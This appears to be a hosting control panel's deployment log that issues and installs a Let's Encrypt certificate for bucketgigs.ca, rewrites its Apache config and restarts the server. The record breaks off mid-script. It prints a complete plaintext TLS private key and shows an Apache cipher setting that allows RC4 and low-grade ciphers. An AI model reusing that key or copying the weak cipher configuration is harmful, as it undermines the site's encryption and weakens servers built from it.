Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-10 06:01:42: Establishing a connection
2025-11-10 06:01:43: Establishing a connection
2025-11-10 06:01:43: 

PUT: /tmp/pkp813772

#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:01:43: 

chmod 755 /tmp/pkp813772; /tmp/pkp813772; rm /tmp/pkp813772

2025-11-10 06:01:43: 


1


2025-11-10 06:01:44: Establishing a connection
2025-11-10 06:01:44: 

PUT: /tmp/pkp162867

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM
cat > orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0


2025-11-10 06:01:44: 

chmod 755 /tmp/pkp162867; /tmp/pkp162867; rm /tmp/pkp162867

2025-11-10 06:01:44: 




2025-11-10 06:01:57: Establishing a connection
2025-11-10 06:01:57: 

PUT: /tmp/pkp568377

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM
rm orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0


2025-11-10 06:01:57: 

chmod 755 /tmp/pkp568377; /tmp/pkp568377; rm /tmp/pkp568377

2025-11-10 06:01:57: 




2025-11-10 06:01:57: Establishing a connection
2025-11-10 06:01:57: 

PUT: /tmp/pkp889017

#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt

cat > $temp_file <<'endmsg'
4f:3a:c8:0c:93:04:0a:7c:c7:7a:fc:89:05:45:21:49

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBqdi2Ias1/2PqtkeWABtSk9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzI0WhcNMjYwMjA4MDUwMzIzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
0fmAwmjAbtmLGhz2RFt0bz2Q6Jw/rNliFtZKxim0+dVfmDGiDMWCcuqQD6Y30CjP
iPfvtDcilZ+S4DuHCHFC2Ua2HmoACnrIaiv8cJK0Ga72f82/iKqGWobu03pXLkX2
/YldnI3AmCGhyDILOas/P/daKYdiDN22piN4ZZGc4eWroHBpGGIKlAFdjYdLcmzS
JyrBrTlSDI6gpc8iUuChfHUZhpfFuT6gVuZHLSCdHoB43e+LGIcLXpEXQVwD5mga
pilh47e67HAfaSrVYFHld92sIzA8A6aMkzMPPvTgeNTDDCAw0osKFR+tmhvx3sGX
rPf63PcILzenTXwmZKjVuQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTVixREpgrSyLOnh0CK0BMbCThA+TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI3LmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
mmxbTcEAAAQDAEgwRgIhAI/3fMerS9g0c2nbKOp2Uv40b+KnFalC/IvcsUCik8nR
AiEA7ZkYCs64U5FZeIzD6l9yjDwoZRpfu4wO7kiro65MIbAAdwCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpsW1XfAAAEAwBIMEYCIQDiCHx8OFJC
5nbNHjPx4UvyoYZmO6POYct2dM800ZlvRQIhAM+n1mBzc2mkRRbmbwRk8CFtHWZC
iQwKAGOTmlH5s/MAMA0GCSqGSIb3DQEBCwUAA4IBAQCHHp6HD2Pq4eulyPvJ7ZYh
7oqJSREYygzgP1g4/W2p8rWLSSgw5wmcBG61sLZv4H0UG5A1E2JrUQeLA+FG6lim
H4zySoQWXeQeKVGrjeDmnzLTnZRgYbXXkZFiAZaVQHrpzqekhqbwHVYFVlcKSu0w
u3PAEeXc1AR/eQRE2hxX2rVBHv4tkAWsasgyvsYL/UKv3AcG7CPwQ51ctq9UljwW
KOVzJsf2FNVHA/MgsvAritt3+ZhCIs7fBKm/h3NH+pJ8yt84Wzlk7wC1CsTj+7d8
iRE+xmlpAchzmwcu3VtlwyzsIwdk/fDjtHZtahevDTKNOHFwVAIMqZRnJ6bgcxIb
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR+YDCaMBu2Ysa
HPZEW3RvPZDonD+s2WIW1krGKbT51V+YMaIMxYJy6pAPpjfQKM+I9++0NyKVn5Lg
O4cIcULZRrYeagAKeshqK/xwkrQZrvZ/zb+IqoZahu7TelcuRfb9iV2cjcCYIaHI
Mgs5qz8/91oph2IM3bamI3hlkZzh5augcGkYYgqUAV2Nh0tybNInKsGtOVIMjqCl
zyJS4KF8dRmGl8W5PqBW5kctIJ0egHjd74sYhwtekRdBXAPmaBqmKWHjt7rscB9p
KtVgUeV33awjMDwDpoyTMw8+9OB41MMMIDDSiwoVH62aG/HewZes9/rc9wgvN6dN
fCZkqNW5AgMBAAECggEAOSx77/O/+i8IHlsmf2R7ptKXw47QE8u5VsiQ4bZ3jdOY
zQMuwdWB+LJ/+ZLj/a0vHXeNcH/WzfD+eEodMaJNdoY3jr6ENlZKfgZuHWUE3z1x
50jpz1fHb5zwKOtWE8Z/Q3gE4l0CxSnbOHzP66sCdPNwPICdpS01z7U20kk885Es
j2ikbfEDa7UMaFX7Mtu9KuKjIhin2QoWXxlhsMoua7GxMFsOPBTTIKnBrdo9ofK9
HkAnT0YRLVtQHtAkVp46DqRoXz3CWBjmvGcRuUWc/LCDjwcmP5rX/WwtETiJQ7mJ
wMc+OjpuVO5wGb1zPKezbQNDKtAA+K6p54EUMKfCkQKBgQD3CoBNSRZrKUoUAWe0
xwy1bXEX1d0i2A/A2ED7yVWZvzutGQmjq6tZR5NJ/9WnlKhFBv8iP6Jx61qnWmUC
5jK319JPgO/8KfHOLIsXOunkNxPApbyAlOf7yVl4mqo7/pUKH7v4GfOZlg8wi1EJ
lhyWZWpNFm+WfmXAy5dNuyjZ/QKBgQDZluHAN9OZ1yJrdIiMfHrlNnqOYyXt9wZk
hvaejSj5Vnp4CHFcfuQ99SjACnoQSmNP9Rq1CArEWiTBnSNJfkyz1S0nP+diLJ6r
XeiwaY7g0B/VQr01B96iWAdCIA7fASUW++Y5A/vAU0UmvKBmth4us8hDqKxQ1+rW
2pC2foypbQKBgHCC/9wzJVq4+1wRJ8JVxZv7tD4+0PBFpycVVsNV9v6G8g7sEE/S
p7+JsbNKKWyhb+HARgK7KKjpn+gIa2jensrMKKS8/I/EKrTT5KU3175wtzZORYPq
TZ2HHpCnIFEiqY5q1ZkxeJjClzhsuwO6slps5fUl+rx35K/iCY8FZp2hAoGBAIL2
GjgMIdLFNpVAVXNg9MMC0C7lJA4fEPzucn8pbRDtaNbYFgra4NsdtIIpjCBD9ZRJ
bOKqzXgy3U6fGn8Agn/2fa/S+ZwQSQvRgNy1G+bZvV8pRSIm82v42Z2GGA1G7iDw
Sjfk2uB9/e/7tfs7/9ySHqYCXnxmCJV6hYEhl93dAoGBAIymcgMQfMqqaHG1FOxU
3qMQVeJnn7eYknwBhXPxchsyetjGA7wIYXsXZi+FX9Uz+OU7q2lmiCbmxjj1hLWB
8sV4HJBBqLsJAMym4aMlf7OboOiz+39suiEqP+IRjRA18RhkmzyF8ykGe8TGIcZy
zUK4clt6uPz9wz+vlri8+FVb
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:01:57: 

chmod 755 /tmp/pkp889017; /tmp/pkp889017; rm /tmp/pkp889017

2025-11-10 06:01:57: 


dir=/etc/ssl/certs


2025-11-10 06:01:57: 

PUT: /tmp/pkp333840

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:01:57: 

chmod 755 /tmp/pkp333840; /tmp/pkp333840; rm /tmp/pkp333840

2025-11-10 06:01:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:01:57: 

PUT: /tmp/pkp230789

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi


2025-11-10 06:01:57: 

chmod 755 /tmp/pkp230789; /tmp/pkp230789; rm /tmp/pkp230789

2025-11-10 06:01:57: 




2025-11-10 06:01:57: 

PUT: /tmp/pkp336448

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:01:57: 

chmod 755 /tmp/pkp336448; /tmp/pkp336448; rm /tmp/pkp336448

2025-11-10 06:01:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58: 

PUT: /tmp/pkp232546

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:01:58: 

chmod 755 /tmp/pkp232546; /tmp/pkp232546; rm /tmp/pkp232546

2025-11-10 06:01:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:58: 

PUT: /tmp/pkp397314

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:58: 

chmod 755 /tmp/pkp397314; /tmp/pkp397314; rm /tmp/pkp397314

2025-11-10 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf	1379

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:01:58: 

PUT: /tmp/pkp896182

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
